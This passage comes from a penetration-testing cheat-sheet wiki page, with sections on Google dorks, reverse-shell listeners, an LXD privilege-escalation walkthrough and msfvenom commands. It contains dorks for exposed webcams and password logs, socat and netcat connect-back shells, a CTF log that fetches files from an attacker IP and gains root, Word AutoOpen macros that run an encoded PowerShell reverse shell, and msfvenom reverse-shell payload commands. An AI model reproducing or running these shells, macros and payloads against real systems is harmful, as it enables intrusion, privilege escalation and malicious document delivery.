|-&lt;br /&gt;
| contains&lt;br /&gt;
| Search for documents that link to the given fileype. Not supported by Google&lt;br /&gt;
| contains:&amp;lt;filetype&amp;gt;&lt;br /&gt;
| contains:pdf&lt;br /&gt;
|-&lt;br /&gt;
| date&lt;br /&gt;
| Search for documents published within the past n months. Not supported by Google&lt;br /&gt;
| date:&amp;lt;number&amp;gt;&lt;br /&gt;
| date:3&lt;br /&gt;
|-&lt;br /&gt;
| define&lt;br /&gt;
| Search for the definition of the given word&lt;br /&gt;
| define:&amp;lt;word&amp;gt;&lt;br /&gt;
| define:funny&lt;br /&gt;
|-&lt;br /&gt;
| ext&lt;br /&gt;
| Search for a specific filetype&lt;br /&gt;
| ext:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| ext:pdf&lt;br /&gt;
|-&lt;br /&gt;
| filetype&lt;br /&gt;
| Refer to ext&lt;br /&gt;
| filetype:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| filetype:pdf&lt;br /&gt;
|-&lt;br /&gt;
| inanchor&lt;br /&gt;
| Search for the given keyword in a website&#039;s anchors&lt;br /&gt;
| inanchor:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inanchor:security&lt;br /&gt;
|-&lt;br /&gt;
| index of&lt;br /&gt;
| Search for documents containing direct downloads&lt;br /&gt;
| index of:&amp;lt;term&amp;gt;&lt;br /&gt;
| index of:mp4 videos&lt;br /&gt;
|-&lt;br /&gt;
| info&lt;br /&gt;
| Search for information about a website&lt;br /&gt;
| info:&amp;lt;domain&amp;gt;&lt;br /&gt;
| info:google.com&lt;br /&gt;
|-&lt;br /&gt;
| intext&lt;br /&gt;
| Keyword needs to be in the text of the document&lt;br /&gt;
| intext:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intext:news&lt;br /&gt;
|-&lt;br /&gt;
| intitle&lt;br /&gt;
| Keyword needs to be in the title of the document&lt;br /&gt;
| intitle:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intitle:money&lt;br /&gt;
|-&lt;br /&gt;
| inurl&lt;br /&gt;
| Keyword needs to be in the URL of the document&lt;br /&gt;
| inurl:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inurl:sheet&lt;br /&gt;
|-&lt;br /&gt;
| link / links&lt;br /&gt;
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website&lt;br /&gt;
| link:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| link:google&lt;br /&gt;
|-&lt;br /&gt;
| location&lt;br /&gt;
| Show documents based on the given location&lt;br /&gt;
| location:&amp;lt;location&amp;gt;&lt;br /&gt;
| location:USA&lt;br /&gt;
|-&lt;br /&gt;
| numrange&lt;br /&gt;
| Refer to m..n&lt;br /&gt;
| numrange:&amp;lt;number&amp;gt;-&amp;lt;number&amp;gt;&lt;br /&gt;
| numrange:1-100&lt;br /&gt;
|-&lt;br /&gt;
| OR&lt;br /&gt;
| Refer to |&lt;br /&gt;
| &amp;lt;operator&amp;gt; OR &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; OR &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phonebook&lt;br /&gt;
| Search for related phone numbers associated with the given name&lt;br /&gt;
| phonebook:&amp;lt;name&amp;gt;&lt;br /&gt;
| phonebook:&amp;quot;william smith&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| relate / related&lt;br /&gt;
| Search for documents that are related to the given website&lt;br /&gt;
| relate:&amp;lt;domain&amp;gt;&lt;br /&gt;
| relate:google.com&lt;br /&gt;
|-&lt;br /&gt;
| safesearch&lt;br /&gt;
| Exclude adult content such as pornographic videos&lt;br /&gt;
| safesearch:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| safesearch:sex&lt;br /&gt;
|-&lt;br /&gt;
| source&lt;br /&gt;
| Search on a specific news site. Rather use site&lt;br /&gt;
| source:&amp;lt;news&amp;gt;&lt;br /&gt;
| source:theguardian&lt;br /&gt;
|-&lt;br /&gt;
| site&lt;br /&gt;
| Search on the given site. Given argument might also be just a TLD such as com, net, etc&lt;br /&gt;
| site:&amp;lt;domain&amp;gt;&lt;br /&gt;
| site:google.com&lt;br /&gt;
|-&lt;br /&gt;
| stock&lt;br /&gt;
| Search for information about a market stock&lt;br /&gt;
| stock:&amp;lt;stock&amp;gt;&lt;br /&gt;
| stock:dax&lt;br /&gt;
|-&lt;br /&gt;
| weather&lt;br /&gt;
| Search for information about the weather of the given location&lt;br /&gt;
| weather:&amp;lt;location&amp;gt;&lt;br /&gt;
| weather:Miami&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Finding Valuable Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intitle:&amp;quot;webcamXP 5&amp;quot; | inurl:&amp;quot;lvappl.htm&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find open/public webcams&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:password ext:log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find log documents wich have the string &amp;quot;password&amp;quot; in it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:/proc/self/cwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find vulnerable webservers&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:email.xls ext:xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find excel documents that contain email addresses&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
index of:mp3 intext:.mp3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find mp3 (music) documents&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:&amp;quot;index of /&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finding indexed files&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Listener ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ATTENTION&lt;br /&gt;
# Some target machines might block the port you&#039;ve choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD&lt;br /&gt;
set LHOST&lt;br /&gt;
set LPORT&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
exploit -j -z&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Listen on port&lt;br /&gt;
nc -lvnp&lt;br /&gt;
# Use rlwrap for better shell on Windows&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
# Connect to port&lt;br /&gt;
nc -nv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Socat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic listener&lt;br /&gt;
socat TCP-L: -&lt;br /&gt;
# Windows connect back&lt;br /&gt;
socat TCP::&lt;br /&gt;
EXEC:powershell.exe,pipes&lt;br /&gt;
# Linux connect back&lt;br /&gt;
socat TCP:: EXEC:&amp;quot;bash -li&amp;quot;&lt;br /&gt;
# Encrypted shell - Basic listener&lt;br /&gt;
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells&lt;br /&gt;
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –&lt;br /&gt;
# Connect back&lt;br /&gt;
socat OPENSSL::,verify=0 EXEC:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== LXD - Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
Step 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 5&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Macro ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Word ===&lt;br /&gt;
&lt;br /&gt;
Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.&lt;br /&gt;
&lt;br /&gt;
When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.&lt;br /&gt;
&lt;br /&gt;
Remember to set Macro in the document, otherwise it will only work locally.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Open Word --&amp;gt; View --&amp;gt; Macro --&amp;gt; Show Macro --&amp;gt; Create&lt;br /&gt;
# The below script will send a reverse shell powershell command&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim Str As String&lt;br /&gt;
Str = &amp;quot;powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
Str = Str + &amp;quot;AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QA=&amp;quot;&lt;br /&gt;
CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run Str&lt;br /&gt;
End Sub&lt;br /&gt;
------------------------&lt;br /&gt;
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and &#039;Powershell#3 Base64&#039;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]&lt;br /&gt;
└─# cat payload.py&lt;br /&gt;
str=&amp;quot;powershell -e JABjAGwAaQBlAG4AdAAgAD...&amp;quot;&lt;br /&gt;
n=50&lt;br /&gt;
for i in range(0,len(str),n):&lt;br /&gt;
    print(&amp;quot;Str = str+&amp;quot; + &#039;&amp;quot;&#039; + str[i:i+n] +&#039;&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
...................................&lt;br /&gt;
# The below script will ping target.&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run &amp;quot;Ping.exe -t 192.168.119.182&amp;quot;&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== LibreOffice Basic ===&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111937.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111909.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –&amp;gt; Customize and select Open Document.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Title&lt;br /&gt;
! URL&lt;br /&gt;
! Short Description&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Monitor Processes ==&lt;br /&gt;
&lt;br /&gt;
=== Process Explorer ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Real-time monitoring of active processes, threads, and modules.&lt;br /&gt;
&lt;br /&gt;
* Hierarchical view of processes, showing parent-child relationships.&lt;br /&gt;
&lt;br /&gt;
* Detailed information about process properties, memory usage, and CPU utilization.&lt;br /&gt;
&lt;br /&gt;
* Identification of the processes responsible for specific open handles or DLLs.&lt;br /&gt;
&lt;br /&gt;
* Capabilities to suspend, terminate, or explore processes.&lt;br /&gt;
&lt;br /&gt;
* Integration with VirusTotal to scan processes for malware.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.&lt;br /&gt;
&lt;br /&gt;
=== Process Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Detailed tracking of file system and registry operations, including reads, writes, and modifications.&lt;br /&gt;
&lt;br /&gt;
* Capturing of process and thread activity, including creation, termination, and interactions.&lt;br /&gt;
&lt;br /&gt;
* Filtering and searching capabilities to narrow down the captured data.&lt;br /&gt;
&lt;br /&gt;
* Advanced filtering to include/exclude specific processes, operations, or paths.&lt;br /&gt;
&lt;br /&gt;
* Ability to generate logs for analysis and troubleshooting.&lt;br /&gt;
&lt;br /&gt;
* Integration with other Sysinternals tools like Autoruns and TCPView.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.&lt;br /&gt;
&lt;br /&gt;
=== Process Hacker ===&lt;br /&gt;
&lt;br /&gt;
[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Focus:&#039;&#039;&#039; Process Hacker aims to provide an advanced task manager with detailed process information and control options.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Comprehensive process details, memory usage, and performance metrics.&lt;br /&gt;
&lt;br /&gt;
* Real-time graphs for system resource monitoring.&lt;br /&gt;
&lt;br /&gt;
* Advanced process management, including termination, suspension, and prioritization.&lt;br /&gt;
&lt;br /&gt;
* Tools for viewing and manipulating network connections and memory content.&lt;br /&gt;
&lt;br /&gt;
* Support for plugins to extend functionality.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Common Uses:&#039;&#039;&#039; In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Msfvenom commands ==&lt;br /&gt;
&lt;br /&gt;
=== What is exitfunc= in msfvenom ===&lt;br /&gt;
&lt;br /&gt;
Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:&lt;br /&gt;
&lt;br /&gt;
* none: do nothing and keep running&lt;br /&gt;
&lt;br /&gt;
* seh: use a special technique to exit without crashing&lt;br /&gt;
&lt;br /&gt;
* thread: stop the part of the program that runs the payload and leave the rest alone&lt;br /&gt;
&lt;br /&gt;
* process: kill the whole program that runs the payload&lt;br /&gt;
&lt;br /&gt;
The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.&lt;br /&gt;
&lt;br /&gt;
=== ASP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
=== hta ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.&lt;br /&gt;
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JSP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WAR ===&lt;br /&gt;
&lt;br /&gt;
